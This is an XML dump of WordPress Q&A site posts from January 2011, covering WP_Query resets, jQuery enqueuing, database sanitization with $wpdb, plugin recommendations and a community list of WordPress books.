  <row Id="8031" PostTypeId="1" AcceptedAnswerId="8032" CreationDate="2011-01-29T06:52:50.850" Score="2" ViewCount="643" Body="&lt;p&gt;I'm using the following code to retrieve posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$featuredPosts = new WP_Query();&#xA;$featuredPosts-&amp;gt;query('showposts=5&amp;amp;cat=3');&#xA;while ($featuredPosts-&amp;gt;have_posts()) : $featuredPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;By &amp;lt;?php the_author() ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;storycontent&quot;&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to use &lt;code&gt;wp_reset_query()&lt;/code&gt; If I have to use it where should I place it?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-06-16T10:19:13.073" Title="Is it necessary to use wp_reset_query() in a WP_Query call?" Tags="&lt;wp-query&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="8032" PostTypeId="2" ParentId="8031" CreationDate="2011-01-29T06:55:16.557" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple answer: &lt;em&gt;no.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows is what the PHP code for the function &lt;code&gt;wp_reset_query()&lt;/code&gt; from &lt;code&gt;/wp-includes/query.php&lt;/code&gt; in WordPRess v3.0.4 as well as the functions subsequently called. You can see that it's primarily about in modifying global variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;code&gt;new WP_Query($args)&lt;/code&gt; you will be assigning the return value from values to a local variable so, unless you are doing something so complex that you'd already know the answer to this question for then no, you don't need to call &lt;code&gt;wp_reset_query()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_reset_query() {&#xA;  unset($GLOBALS['wp_query']);&#xA;  $GLOBALS['wp_query'] =&amp;amp; $GLOBALS['wp_the_query'];&#xA;  wp_reset_postdata();&#xA;}&#xA;&#xA;function wp_reset_postdata() {&#xA;  global $wp_query;&#xA;  if ( !empty($wp_query-&amp;gt;post) ) {&#xA;    $GLOBALS['post'] = $wp_query-&amp;gt;post;&#xA;    setup_postdata($wp_query-&amp;gt;post);&#xA;  }&#xA;}&#xA;&#xA;function setup_postdata($post) {&#xA;  global $id, $authordata, $day, $currentmonth, $page, $pages, $multipage, $more, $numpages;&#xA;&#xA;  $id = (int) $post-&amp;gt;ID;&#xA;&#xA;  $authordata = get_userdata($post-&amp;gt;post_author);&#xA;&#xA;  $day = mysql2date('d.m.y', $post-&amp;gt;post_date, false);&#xA;  $currentmonth = mysql2date('m', $post-&amp;gt;post_date, false);&#xA;  $numpages = 1;&#xA;  $page = get_query_var('page');&#xA;  if ( !$page )&#xA;    $page = 1;&#xA;  if ( is_single() || is_page() || is_feed() )&#xA;    $more = 1;&#xA;  $content = $post-&amp;gt;post_content;&#xA;  if ( strpos( $content, '&amp;lt;!--nextpage--&amp;gt;' ) ) {&#xA;    if ( $page &amp;gt; 1 )&#xA;      $more = 1;&#xA;    $multipage = 1;&#xA;    $content = str_replace(&quot;\n&amp;lt;!--nextpage--&amp;gt;\n&quot;, '&amp;lt;!--nextpage--&amp;gt;', $content);&#xA;    $content = str_replace(&quot;\n&amp;lt;!--nextpage--&amp;gt;&quot;, '&amp;lt;!--nextpage--&amp;gt;', $content);&#xA;    $content = str_replace(&quot;&amp;lt;!--nextpage--&amp;gt;\n&quot;, '&amp;lt;!--nextpage--&amp;gt;', $content);&#xA;    $pages = explode('&amp;lt;!--nextpage--&amp;gt;', $content);&#xA;    $numpages = count($pages);&#xA;  } else {&#xA;    $pages = array( $post-&amp;gt;post_content );&#xA;    $multipage = 0;&#xA;  }&#xA;&#xA;  do_action_ref_array('the_post', array(&amp;amp;$post));&#xA;&#xA;  return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-29T07:04:03.410" LastActivityDate="2011-01-29T07:04:03.410" CommentCount="2" />
  <row Id="8033" PostTypeId="1" AcceptedAnswerId="8047" CreationDate="2011-01-29T07:01:32.510" Score="0" ViewCount="139" Body="&lt;p&gt;I would like to try little web apps with WP. Just to accept some values for few fields and present the output using AJAX. What are all the necessary modifications on WP? So, far I've tried some plugins like exec-php. But, I am in need of a better advice / suggestion.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2011-01-29T13:42:15.583" Title="How to run JS, PHP and etc. inside WP post?" Tags="&lt;php&gt;&lt;plugins&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8034" PostTypeId="2" ParentId="7888" CreationDate="2011-01-29T08:47:00.480" Score="1" ViewCount="" Body="&lt;p&gt;I do this with the &lt;a href=&quot;http://wordpress.org/extend/plugins/one-backend-language/&quot; rel=&quot;nofollow&quot;&gt;One Backend Language&lt;/a&gt; plugin. This way, &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress_in_Your_Language&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;WPLANG&lt;/code&gt; language&lt;/a&gt; is only used in the frontend, and another used in the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more plugins that do this, some allow you to &lt;a href=&quot;http://wordpress.org/extend/plugins/admin-language/&quot; rel=&quot;nofollow&quot;&gt;choose a language per user&lt;/a&gt;. The downside is that you can still be logged in when you visit the frontend, and thus get the language of the admin area there too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-29T08:47:00.480" CommentCount="1" />
  <row Id="8035" PostTypeId="2" ParentId="891" CreationDate="2011-01-29T09:38:59.787" Score="2" ViewCount="" Body="&lt;p&gt;i had the save problem: it's because if you don't create the menu in the admin wordpress use a fallback method and creates the menu out of all active pages ... and if this happens than the options from wp_nav_menu are not used ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so: just create the menu in the admin and u can change the wrapper-tag to &quot;nav&quot;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-29T09:38:59.787" CommentCount="1" />
  <row Id="8036" PostTypeId="2" ParentId="8020" CreationDate="2011-01-29T09:44:07.750" Score="1" ViewCount="" Body="&lt;p&gt;It means your PHP installation doesn't have &lt;a href=&quot;http://www.php.net/manual/en/book.zip.php&quot; rel=&quot;nofollow&quot;&gt;the Zip library&lt;/a&gt;. You can &lt;a href=&quot;http://www.php.net/manual/en/zip.installation.php&quot; rel=&quot;nofollow&quot;&gt;install it&lt;/a&gt; by recompiling PHP with the &lt;code&gt;--enable-zip&lt;/code&gt; option, or install &lt;a href=&quot;http://pecl.php.net/package/zip&quot; rel=&quot;nofollow&quot;&gt;the PECL package&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-29T09:44:07.750" CommentCount="4" />
  <row Id="8037" PostTypeId="2" ParentId="8025" CreationDate="2011-01-29T09:50:01.583" Score="0" ViewCount="" Body="&lt;p&gt;You can try this plugin,&lt;br&gt;&#xA;you can create subdomains from your categories&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-subdomains/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-subdomains/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-29T09:50:01.583" />
  <row Id="8038" PostTypeId="2" ParentId="8008" CreationDate="2011-01-29T11:04:44.203" Score="3" ViewCount="" Body="&lt;p&gt;use the &lt;a href=&quot;http://php.net/manual/en/language.operators.comparison.php&quot; rel=&quot;nofollow&quot;&gt;indentical&lt;/a&gt; comparison operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(get_query_var('cls') !== '' &amp;amp;&amp;amp; get_query_var('ch') !== '') {&#xA;    mcs_textbook_chapter($dialect, $cls, $ch);&#xA;} elseif(get_query_var('cls') !== '') {              &#xA;    mcs_textbook_chapter($dialect, $cls);&#xA;} else {&#xA;    mcs_textbook($dialect);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-29T11:04:44.203" CommentCount="1" />
  <row Id="8039" PostTypeId="1" AcceptedAnswerId="8044" CreationDate="2011-01-29T11:14:48.293" Score="0" ViewCount="259" Body="&lt;p&gt;I want to add a slide side ways jquery to my website, I tried the following code, but seems not to be working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jquery code:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;http://tab-slide-out.googlecode.com/files/jquery.tabSlideOut.v1.3.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(function(){&#xA;        $('.slide-out-div').tabSlideOut({&#xA;            tabHandle: '.handle',                     &#xA;            pathToTabImage: 'images/contact_tab.gif', &#xA;            imageHeight: '122px',                     &#xA;            imageWidth: '40px',                       &#xA;            tabLocation: 'left',                      &#xA;            speed: 300,                               &#xA;            action: 'click',                          &#xA;            topPos: '200px',                          &#xA;            leftPos: '20px',                          &#xA;            fixedPosition: false                      &#xA;        });&#xA;&#xA;    });&#xA;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Div &amp;amp; CSS code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;&#xA;      .slide-out-div {&#xA;          padding: 20px;&#xA;          width: 250px;&#xA;          background: #ccc;&#xA;          border: 1px solid #29216d;&#xA;      }      &#xA;      &amp;lt;/style&amp;gt;&#xA;&amp;lt;div class=&quot;slide-out-div&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;handle&quot; href=&quot;#&quot;&amp;gt;Content&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Contact me&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;Hello&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;Welcome to my Blog&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tried the above code into my header file, and the div code in the footer file,&#xA;The DIV box appears to be slided outside but doesn't goes inside , the jquery is not working and the image contact_tab.gif is not displayed and my google maps on my website doesn't loads, I know this is because of wrong integration of jquery but I don't know how to integrate it with wordpress themes&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-07T22:36:03.480" Title="Jquery integration with my theme" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="8040" PostTypeId="1" AcceptedAnswerId="8041" CreationDate="2011-01-29T11:23:56.590" Score="2" ViewCount="225" Body="&lt;p&gt;I've read several topics about this and different ppl have different views on the best practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of WP, how do I store data to DB the safest way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one insert I'm using now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $result = $wpdb-&amp;gt;insert($table_name , &#xA;  array( &#xA;    'arena' =&amp;gt; $galleryData['arena'],&#xA;    'year' =&amp;gt; substr($galleryData['season'], 2),&#xA;    'copyright' =&amp;gt; $galleryData['copyright'],&#xA;    'description' =&amp;gt; $galleryData['description'],&#xA;    'path' =&amp;gt; $galleryData['path'],&#xA;    'fk_brand_id' =&amp;gt; $galleryData['brand']&#xA;  ), &#xA;  array( '%s', '%d', '%s', '%s', '%s', '%d' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading a book, another way of inerting data is doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sanitized_sql = $wpdb-&amp;gt;prepare(“&#xA;  ’INSERT INTO my_plugin_table SET field1 = %1$d, field2 = %2$s, field3 = %3$s’, 32, ‘Aaron Brazell’, ‘Washington, D.C’);&#xA;$wpdb-&amp;gt;query( $sanitized_sql );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I still need to sanitize data using &lt;code&gt;wp_kses&lt;/code&gt; or &lt;code&gt;mysql_real_escape_string&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just confused on what method is the better for safely storing data to DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found one answer here: &lt;a href=&quot;http://stackoverflow.com/questions/2127009/using-wordpress-can-some-one-tell-me-the-best-way-of-sanitizing-input&quot;&gt;http://stackoverflow.com/questions/2127009/using-wordpress-can-some-one-tell-me-the-best-way-of-sanitizing-input&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So should I or should I not sanitize data before input?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:29:55.283" LastActivityDate="2011-01-31T09:29:55.283" Title="What is the best way to sanitize data?" Tags="&lt;prepare-statement&gt;&lt;sanitization&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8041" PostTypeId="2" ParentId="8040" CreationDate="2011-01-29T11:36:54.877" Score="0" ViewCount="" Body="&lt;p&gt;No the sanitization is already done. Well the &lt;a href=&quot;http://php.net/mysql_real_escape_string&quot; rel=&quot;nofollow&quot;&gt;mysql_real_escape_string&lt;/a&gt; is done, it's considered bad form to filter html on input. I personally think doing it on output kinda breaches DRY. If you did in WordPress I highly suspect somewhere else will do it again resulting in double html entities encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also by the way, wpdb::insert is basically just a wrapper for wpdb::prepare.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastEditorUserId="2596" LastEditorDisplayName="" LastEditDate="2011-01-29T11:43:05.260" LastActivityDate="2011-01-29T11:43:05.260" CommentCount="2" />
  <row Id="8042" PostTypeId="2" ParentId="1736" CreationDate="2011-01-29T11:59:20.697" Score="1" ViewCount="" Body="&lt;p&gt;I faced the same situation as you and what i did was create a custom post type named&quot; homepage&quot; and also created &quot;Bainternet Posts Creation Limits&quot; plugin to limit the creation of each post type per user.&#xA;Try it out &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-29T11:59:20.697" CommentCount="3" />
  <row Id="8043" PostTypeId="1" CreationDate="2011-01-29T12:03:29.830" Score="0" ViewCount="444" Body="&lt;p&gt;is there a plugin to show a twitter hashtag with a shortcode or a widget? Preferable shortcode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2011-01-29T15:46:58.127" Title="Plugin to show a widget hashtag as widget or shortcode?" Tags="&lt;plugin-recommendation&gt;&lt;twitter&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8044" PostTypeId="2" ParentId="8039" CreationDate="2011-01-29T12:13:43.133" Score="2" ViewCount="" Body="&lt;p&gt;I think the main problem is that you need to use a no-conflict wrapper when calling tab slideout. However, rather then simply point out the problem i'm going to cover some things you should be doing to make this script work &quot;The WordPress Way&quot; ..(ie. using an enqueue and hooking onto an appropriate hook to make that enqueue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we need an appropriate action and there's a couple we can use front-side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook i'll use is &lt;code&gt;wp_print_scripts&lt;/code&gt;, because as you might have guessed it's for enqueuing scripts. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_scripts', 'enqueue_slideout' );&#xA;&#xA;function enqueue_slideout() {&#xA;    wp_enqueue_script( 'jquery-slideout', 'http://tab-slide-out.googlecode.com/svn/trunk/jquery.tabSlideOut.v2.0.js', array('jquery'), '2.0', false );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went and dug up the location of the most recent version, 1.3 is a good year older than the most recent 2.0, so i've updated the path to point at a more recent version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery is loaded as a dependancy inside the enqueue, so you don't need to be doing any extra includes for jQuery, the enqueue will take care of that for you(regardless of whether your jQuery script has been re-registered to pull from Google - as many WP users choose to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, we'll hook onto &lt;code&gt;wp_head&lt;/code&gt; and output the script to setup the slideout tab using a no-conflict wrapper that fires when the document is ready(most scripts will work fine like this, though not all)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_head', 'setup_slideout_tabs' );&#xA;&#xA;function setup_slideout_tabs() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;        $('.slide-out-div').tabSlideOut({&#xA;            tabHandle: '.handle',                     &#xA;            pathToTabImage: '&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/images/contact_tab.gif', &#xA;            imageHeight: '122px',                     &#xA;            imageWidth: '40px',                       &#xA;            tabLocation: 'left',                      &#xA;            speed: 300,                               &#xA;            action: 'click',                          &#xA;            topPos: '200px',                          &#xA;            leftPos: '20px',                          &#xA;            fixedPosition: false                      &#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should note i've added in a little PHP to point the image path at the current theme's folder, so do ensure you have an image named &lt;code&gt;contact_tab.gif&lt;/code&gt; in your theme's image folder, ie. &lt;code&gt;wp-content/themes/YOUR_THEME/images/contact_tab.gif&lt;/code&gt; or update the image path appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the CSS you posted before into your theme's stylesheet, there's really no need to output it inline, and the stylesheet is going to be getting loaded anyway, so it makes sense to just stick it in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, you should have something that looks like this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/2CxDe.jpg&quot; alt=&quot;Tab collapsed&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/bhjiS.jpg&quot; alt=&quot;Tab open&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-29T12:13:43.133" CommentCount="3" />
  <row Id="8045" PostTypeId="2" ParentId="1736" CreationDate="2011-01-29T12:18:30.830" Score="2" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Sorry to do this, but I stumbled across the answer &lt;a href=&quot;http://wordpress.org/support/topic/user-permission-assign-one-page-to-manage?replies=9#post-816383&quot; rel=&quot;nofollow&quot;&gt;in the wordpress forums&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that &lt;a href=&quot;http://agapetry.net/news/introducing-role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt; does this really well. The author of that forum post said it best:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To enable a user to edit one particular page, but not anything else:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Give them a WordPress role of Subscriber&lt;/li&gt;&#xA;  &lt;li&gt;Manage &gt; Pages &gt; Edit their page&lt;/li&gt;&#xA;  &lt;li&gt;Expand the &quot;Editors&quot; tab under &quot;Advanced Options&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Check the non-braced checkbox to the left of your user's name (if child pages will be created, also check the braced checkbox {[]}, which assigns the role for all current or future child pages)&lt;/li&gt;&#xA;  &lt;li&gt;Save the Page&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="562" LastActivityDate="2011-01-29T12:18:30.830" CommentCount="2" />
  <row Id="8046" PostTypeId="2" ParentId="7991" CreationDate="2011-01-29T13:24:33.067" Score="0" ViewCount="" Body="&lt;p&gt;@goldenapples, as I commented earlier, your code gave a good start but gave on prev pages some unneeded posts that were featured. I added a function to filter the posts_where, and it calculates the date of the last post in the first page and filter to bring posts that are earlier than it. It appears that it does it, but I'm not completely sure there are not bugs in that. Could you take a look in this function and say your opinion:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_where' , 'tc_special_posts_where' );&#xA;function tc_special_posts_where( $where ) { &#xA;    global $wpdb, $paged, $post;&#xA;    $paged = get_query_var('paged');&#xA;    $g = get_posts('numberposts=7&amp;amp;meta_key=_pull_leading3&amp;amp;meta_value=off&amp;amp;paged=0');&#xA;    foreach ($g as $p) { $i = $p-&amp;gt;post_date; } &#xA;&#xA;    if (is_home() &amp;amp;&amp;amp; $paged &amp;gt; 0) {&#xA;     $where .= &quot; AND post_date &amp;lt; '&quot; . $i . &quot;'&quot;;&#xA;    }   &#xA;return $where; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More than that, since we changed the $paged, so the function &lt;strong&gt;next_posts_link()&lt;/strong&gt; in such case is showing the current page as the next page, so I had to do some replacements -   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uri = $_SERVER[&quot;REQUEST_URI&quot;];&#xA;$x = preg_match('/(\d){1,}/', $uri, $matches); //catch the digit of page number     &#xA;$nextlink = get_next_posts_link('Next Page »', 0);&#xA;if ($matches) {   //on the first page not needed to replace, only from page 2 and on&#xA;    $nextlink = preg_replace('/(\d){1,}/e', '&quot;$1&quot;+1'  ,$nextlink);  &#xA;}&#xA;&amp;lt;span class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php echo $nextlink;?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-01-29T13:24:33.067" CommentCount="1" />
  <row Id="8047" PostTypeId="2" ParentId="8033" CreationDate="2011-01-29T13:42:15.583" Score="2" ViewCount="" Body="&lt;p&gt;Natively WordPress posts are subset of HTML (even more like semi-HTML - paragraph tags can be implied and added on output, but not stored). As result it really really doesn't like to store or process active code in post's content. This applies both to internal logic in PHP and front-end logic of post editor (it actively tries to strip some things like iframes, when switching to visual editor, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Loosen restrictions on what can be input and sotred in post content - like &lt;a href=&quot;http://wordpress.org/extend/plugins/exec-php/&quot; rel=&quot;nofollow&quot;&gt;Exec-PHP&lt;/a&gt; you mention in question.&lt;/li&gt;&#xA;&lt;li&gt;Store active code elsewhere (in &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom fields&lt;/a&gt; for example) and use &lt;a href=&quot;http://codex.wordpress.org/Shortcode&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt; in post content to call it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-29T13:42:15.583" />
  <row Id="8048" PostTypeId="2" ParentId="8031" CreationDate="2011-01-29T13:50:33.090" Score="5" ViewCount="" Body="&lt;p&gt;It is not necessary for &lt;code&gt;WP_Query&lt;/code&gt; by itself, &lt;strong&gt;but&lt;/strong&gt; it is necessary (or at least good thing to do) if you use any related functions/methods ( such as &lt;code&gt;the_post()&lt;/code&gt; or &lt;code&gt;setup_postdata()&lt;/code&gt; ) to fill global variables with your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically creating new &lt;code&gt;WP_Query&lt;/code&gt; object is merely data retrieval, but using it to run active loop and making data accessible to template tags does modify environment and it is good to reset everything afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall - it isn't meaningful performance penalty to call it, so it is easier to always call it than deciding if you should or forgetting about it and having something mysteriously broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/query.php#L112&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_reset_postdata()&lt;/code&gt;&lt;/a&gt; function seems to be more fitting choice. &lt;code&gt;wp_reset_query()&lt;/code&gt; resets global &lt;code&gt;$wp_query&lt;/code&gt; (which custom &lt;code&gt;WP_Query&lt;/code&gt; object doesn't affect) &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;$post&lt;/code&gt; (which it might as above) variables. &lt;code&gt;wp_reset_postdata()&lt;/code&gt; only restores &lt;code&gt;$post&lt;/code&gt;, which should be enough.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-04T11:00:01.277" LastActivityDate="2011-03-04T11:00:01.277" CommentCount="1" />
  <row Id="8049" PostTypeId="2" ParentId="8040" CreationDate="2011-01-29T14:15:52.700" Score="1" ViewCount="" Body="&lt;p&gt;Note that &lt;strong&gt;storing data safely&lt;/strong&gt; is different from &lt;strong&gt;safe data&lt;/strong&gt;. For example JavaScript code can be totally harmless in context of database security, but nightmare in context of front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no single blanket approach, that is why &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;WordPress has massive amount of related functions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What data is.&lt;/li&gt;&#xA;&lt;li&gt;Where it comes from.&lt;/li&gt;&#xA;&lt;li&gt;How is it going to be used.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-29T14:15:52.700" CommentCount="2" />
  <row Id="8050" PostTypeId="1" CreationDate="2011-01-29T14:41:52.607" Score="6" ViewCount="518" Body="&lt;p&gt;I've been thinking about what other large community wiki post site can benefit from. Questions about books come up all the time and I think it will be beneficial to have one large list to consolidate available literature on WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;title&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;author&lt;/strong&gt;(s) (preferably with links and cred)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;topic&lt;/strong&gt;(s) covered&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;user level&lt;/strong&gt; targeted&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;form&lt;/strong&gt; (paper/ebook)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;pricing&lt;/strong&gt; (if applicable)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;link&lt;/strong&gt; to home site (if available)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please &lt;strong&gt;one book per answer&lt;/strong&gt; so it is easier to edit, discuss and vote on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please &lt;strong&gt;keep it civil with affiliate links&lt;/strong&gt;. I don't particularly mind those, but we all want to see books that are genuinely useful, not those with large commission.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-29T15:13:45.390" LastActivityDate="2011-07-03T21:53:55.980" CommunityOwnedDate="2011-01-29T15:01:05.577" Title="Definitive list of WordPress books" Tags="&lt;books&gt;" AnswerCount="8" CommentCount="3" FavoriteCount="2" />
  <row Id="8051" PostTypeId="1" AcceptedAnswerId="8053" CreationDate="2011-01-29T14:44:26.353" Score="0" ViewCount="191" Body="&lt;p&gt;Assuming I know the image attachment ID, how can I get the post permalink to which is attached (if any) ?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-29T15:01:51.553" Title="Get the post attached to a image attachment" Tags="&lt;3.0&gt;&lt;attachments&gt;" AnswerCount="1" />
